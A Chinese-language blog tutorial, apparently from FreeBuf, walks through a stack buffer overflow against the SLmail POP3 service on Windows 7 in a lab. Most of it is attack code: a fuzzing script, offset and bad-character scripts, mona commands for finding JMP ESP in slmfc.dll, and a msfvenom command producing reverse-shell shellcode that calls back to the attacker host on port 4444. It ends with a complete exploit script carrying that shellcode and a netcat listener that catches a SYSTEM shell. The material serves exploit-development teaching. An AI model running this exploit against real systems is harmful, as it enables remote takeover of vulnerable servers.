Windows下SLmail邮件服务器缓冲区溢出理解及实验

2017-10-12 384772人围观 ,发现 13 个不明物体 资讯

*本文作者:Jindom,本文属 FreeBuf 原创奖励计划,未经许可禁止转载

本次缓冲区溢出实验是在Windows7 Unlimit 64位下的SLmail邮件服务溢出测试。

注:SLmail并不是一个特别常用的邮件服务应用,本次实验仅限于理解缓冲区溢出的过程以及方法

目标机: Windows7 Unlimit x64    10.11.12.13

攻击机: Kali Linux   10.11.0.29

涉及工具:

Metasploit Framework  

Immunity Debugger(装好mona模块)

步骤

先将Immunity Debugger Attach上SLmail的主进程

image.png

image.png

点这个image.png让进程解除冰冻状态,转为running状态

这个时候转到Kali,使用Buffer溢出脚本检测溢出所需的字节,脚本源码如下

#!/usr/bin/python#!/usr/bin/python
import sysimport socket
target=sys.argv[1]
buffer=["A"]
counter=100
while len(buffer) <= 30: 
   buffer.append("A"*counter) 
   counter=counter+200
for string in buffer: 
   print "Fuzzing PASS with %s byte" % len(string) 
   s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
   connect=s.connect((target,110)) 
   s.recv(1024) 
   s.send('USER test\r\n') 
   s.recv(1024) 
   s.send('PASS ' + string + '\r\n') 
   s.send('QUIT\r\n') 
   s.close()

使用该脚本并加上目标参数

观察,等到Debugger右上角窗口EIP指针为41414141(A的ASCII编码)时代表溢出成功

记下python脚本窗口处此时的字节数,本次试验为2900 bytes

重新启动SLmail服务,并重新Attach进程

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2900  //使用MSF的buffer生成工具生成一段字符,来精确定位溢出位置

image.png

编写修改针对性的溢出脚本

源码如下

#!/usr/bin/python
import socket 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds'
try:
    print "\nSending evil buffer..."
    s.connect(('10.11.12.13',110))
    data = s.recv(1024)
    s.send('USER username' +'\r\n')
    data = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    print "\nDone!."
except:
    print "Could not connect to POP3!"

此时执行此脚本,再观察Debugger右上侧窗口,观察EIP指针所指向的字符串

image.png

可以看到字符串为 39694438

此时利用pattern_create相对的工具pattern_offset查找这串字节相对的位置

image.png

可知是位于 第2606个字节之后的字节就是EIP所指向的!

这时修改脚本

#!/usr/bin/python
import socket 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A'*2606 + 'B'*4 +'C'*16
try:
    print "\nSending evil buffer..."
    s.connect(('10.11.12.13',110))
    data = s.recv(1024)
    s.send('USER username' +'\r\n')
    data = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    print "\nDone!."
except:
    print "Could not connect to POP3!"

观察可知,这四个B就是EIP所指向的内容,而后16个C为补全2900个字节所设置的

执行脚本

image.png

观察到如下结果,可知EIP的确被指向到了2606bytes之后的位置,因为BBBB的ASCII码为42424242

我们再观察ESP的位置在哪里

image.png

image.png

可以观察到ESP指向的位置在0x0169A128,恰巧也被CCCC给填满了

image.png

一般来说一个payload的字节数在315-450之间,所以只要将0169A128开始的内存地址溢出到我们的payload就可以了

所以我们开始使用msf生成payload,但是要知道,这是在一个程序内存栈中进行decode,肯定会有一些字节被这个程序错误理解

所以我们需要寻找一些坏字节  也就是Bad Characters

修改脚本如下

#!/usr/bin/python
import socket 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" 
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" 
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" 
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" 
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" 
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" 
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
#buffer = 'A'*2606 + 'B'*4 +'C'*16
buffer = 'A'*2606 + 'B'*4 + badchars
try:
 print "\nSending evil buffer..."
 s.connect(('10.11.12.13',110))
 data = s.recv(1024)
 s.send('USER username' +'\r\n')
 data = s.recv(1024)
 s.send('PASS ' + buffer + '\r\n')
 print "\nDone!."
except:
 print "Could not connect to POP3!"

再次运行该脚本并且dump到ESP位置的内存

image.png

可以看到,明显有几个字节被错误编译了,到第10个字节应该是10却变成了29

所以我们应该在脚本中去掉/x0a,并再次运行

image.png

仔细仔细再仔细地看,你会发现少了0D这个字节,说明/0d这个字节也是坏的,从脚本中去除

同理再次实验,你会发现一切都是正常的,没有坏字节了

所以,我们知道对于SLmail来说,坏字节有/x00,/x0a,/x0d

知道了坏字节有哪些,我们就可以生成shellcode啦!

但但是,我们还得想办法让EIP重定向到我们想要的内存地址!

这时候,我脑子里第一时间想到的是直接把EIP的地址改成ESP的地址

直接让执行流执行ESP所定位到的那一串代码不就行了嘛?

但是实际上在溢出过程中ESP所指向的地址并不会保持不变,

因为绝大多数程序都是多进程的,ESP的指向并不是按照顺序的单一的

他会指向奇奇怪怪的地方,所以这个方法不可行!

那咋办嘞?

我们知道,在一个程序运行的时候,程序本身首先会被写入到内存中,

顺带着它需要的各种DLL以及Drive和Modules,

所以我们可以寻找含有JMP ESP这个指令的各种模块并利用他们

为了寻找合乎条件的DLL以及模块,我们需要用到第三方模块mona

在Debugger的下方命令行输入

!mona modules

就可以看到所有loaded的modules

image.png

这时候就可以寻找符合条件的modules了

符合条件的modules需要符合3个条件

1.本身的base内存地址不包含上面提到的坏字节

2.没有被前四个反缓冲区溢出机制保护

这里只有一个DLL满足条件

image.png

按下工具条上的E来查看所有可被执行的dll

找到对应的DLL并双击

image.png

到主界面search相应的操作

image.png

image.png

image.png

image.png

image.png

但奇怪的是无论是search command和sequence commands都没法找到想要找的jmp esp字节

这个是很不科学的小概率事件,讲道理一个有用的DLL肯定会包含一两个这个命令

仔细想过后并且查看了这个DLL的详细信息(工具条按M按钮)

image.png

你会发现只有.text区块是被表明了Excutable的,所以可能mona在刚刚的查找中只查找了这个区块

没有查找其他几个区块,这时候我们可以直接让mona去查找内存,但是得知道相应的命令在内存中是怎么表示的

这时候就需要msf的nasm_shell工具了

image.png

这个时候我们知道jmp esp这个操作会在内存中被表示为 FFE4

然后我们直接使用mona查找

!mona find -s "\xff\xe4" -m slmfc.dll

image.png

我们发现results里第一个地址不包含坏字节并且是可用的

我们就使用第一个!

跳转到对应的内存地址并核对,果然发现有我们梦寐以求的JMP ESP

image.png

image.png

现在开始修改溢出脚本!

但但但是,在溢出脚本执行之后,邮件服务肯定会瘫痪,所以为了我们演示需要,需要做一个断点

image.png

选中这一行,按F2并点确定 按F8继续执行

终于可以开始写脚本啦

首先使用msf去生成一个shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.209 LPORT=4444 -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shika

image.png

生成成功 (一定要注意长度!)

#!/usr/bin/python
import socket 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shellcode = (
"\xda\xcb\xba\x71\xe5\xde\xcc\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x52\x31\x50\x17\x03\x50\x17\x83\xb1\xe1\x3c\x39\xcd\x02\x42"
"\xc2\x2d\xd3\x23\x4a\xc8\xe2\x63\x28\x99\x55\x54\x3a\xcf\x59"
"\x1f\x6e\xfb\xea\x6d\xa7\x0c\x5a\xdb\x91\x23\x5b\x70\xe1\x22"
"\xdf\x8b\x36\x84\xde\x43\x4b\xc5\x27\xb9\xa6\x97\xf0\xb5\x15"
"\x07\x74\x83\xa5\xac\xc6\x05\xae\x51\x9e\x24\x9f\xc4\x94\x7e"
"\x3f\xe7\x79\x0b\x76\xff\x9e\x36\xc0\x74\x54\xcc\xd3\x5c\xa4"
"\x2d\x7f\xa1\x08\xdc\x81\xe6\xaf\x3f\xf4\x1e\xcc\xc2\x0f\xe5"
"\xae\x18\x85\xfd\x09\xea\x3d\xd9\xa8\x3f\xdb\xaa\xa7\xf4\xaf"
"\xf4\xab\x0b\x63\x8f\xd0\x80\x82\x5f\x51\xd2\xa0\x7b\x39\x80"
"\xc9\xda\xe7\x67\xf5\x3c\x48\xd7\x53\x37\x65\x0c\xee\x1a\xe2"
"\xe1\xc3\xa4\xf2\x6d\x53\xd7\xc0\x32\xcf\x7f\x69\xba\xc9\x78"
"\x8e\x91\xae\x16\x71\x1a\xcf\x3f\xb6\x4e\x9f\x57\x1f\xef\x74"
"\xa7\xa0\x3a\xda\xf7\x0e\x95\x9b\xa7\xee\x45\x74\xad\xe0\xba"
"\x64\xce\x2a\xd3\x0f\x35\xbd\xd6\xc4\x35\xec\x8f\xd8\x35\x1f"
"\x0c\x54\xd3\x75\xbc\x30\x4c\xe2\x25\x19\x06\x93\xaa\xb7\x63"
"\x93\x21\x34\x94\x5a\xc2\x31\x86\x0b\x22\x0c\xf4\x9a\x3d\xba"
"\x90\x41\xaf\x21\x60\x0f\xcc\xfd\x37\x58\x22\xf4\xdd\x74\x1d"
"\xae\xc3\x84\xfb\x89\x47\x53\x38\x17\x46\x16\x04\x33\x58\xee"
"\x85\x7f\x0c\xbe\xd3\x29\xfa\x78\x8a\x9b\x54\xd3\x61\x72\x30"
"\xa2\x49\x45\x46\xab\x87\x33\xa6\x1a\x7e\x02\xd9\x93\x16\x82"
"\xa2\xc9\x86\x6d\x79\x4a\xb6\x27\x23\xfb\x5f\xee\xb6\xb9\x3d"
"\x11\x6d\xfd\x3b\x92\x87\x7e\xb8\x8a\xe2\x7b\x84\x0c\x1f\xf6"
"\x95\xf8\x1f\xa5\x96\x28") 
buffer = 'A'*2606 + "\x8f\x35\x4a\x5f" + "\x90"*16 + shellcode + "C"*(3500-2606-4-351-16)
try:
    print "\nSending evil buffer..."
    s.connect(('10.11.12.13',110))
    data = s.recv(1024)
   s.send('USER username' +'\r\n')
    data = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    print "\nDone!."
except:
   print "Could not connect to POP3!"

buffer的A*2606是为了达到EIP点,使程序下一步操作跳转到slmc.dll代码中的一个jmp esp

这样在esp地址下的我们的shellcode便可得到执行

那16个\x90是为了防止shellcode程序的开头一部分被编译器认为是垃圾不去处理,总之就是为了告诉编译器我后面的是程序!

写好脚本,在kali攻击机的4444端口开启监听

nc -lvp 4444

image.png

image.png

shell get √√√

查看下权限

image.png

是最高系统权限,渗透完成

*本文作者:Jindom,本文属 FreeBuf 原创奖励计划,未经许可禁止转载

发表评论

已有 13 条评论

取消
Loading...
css.php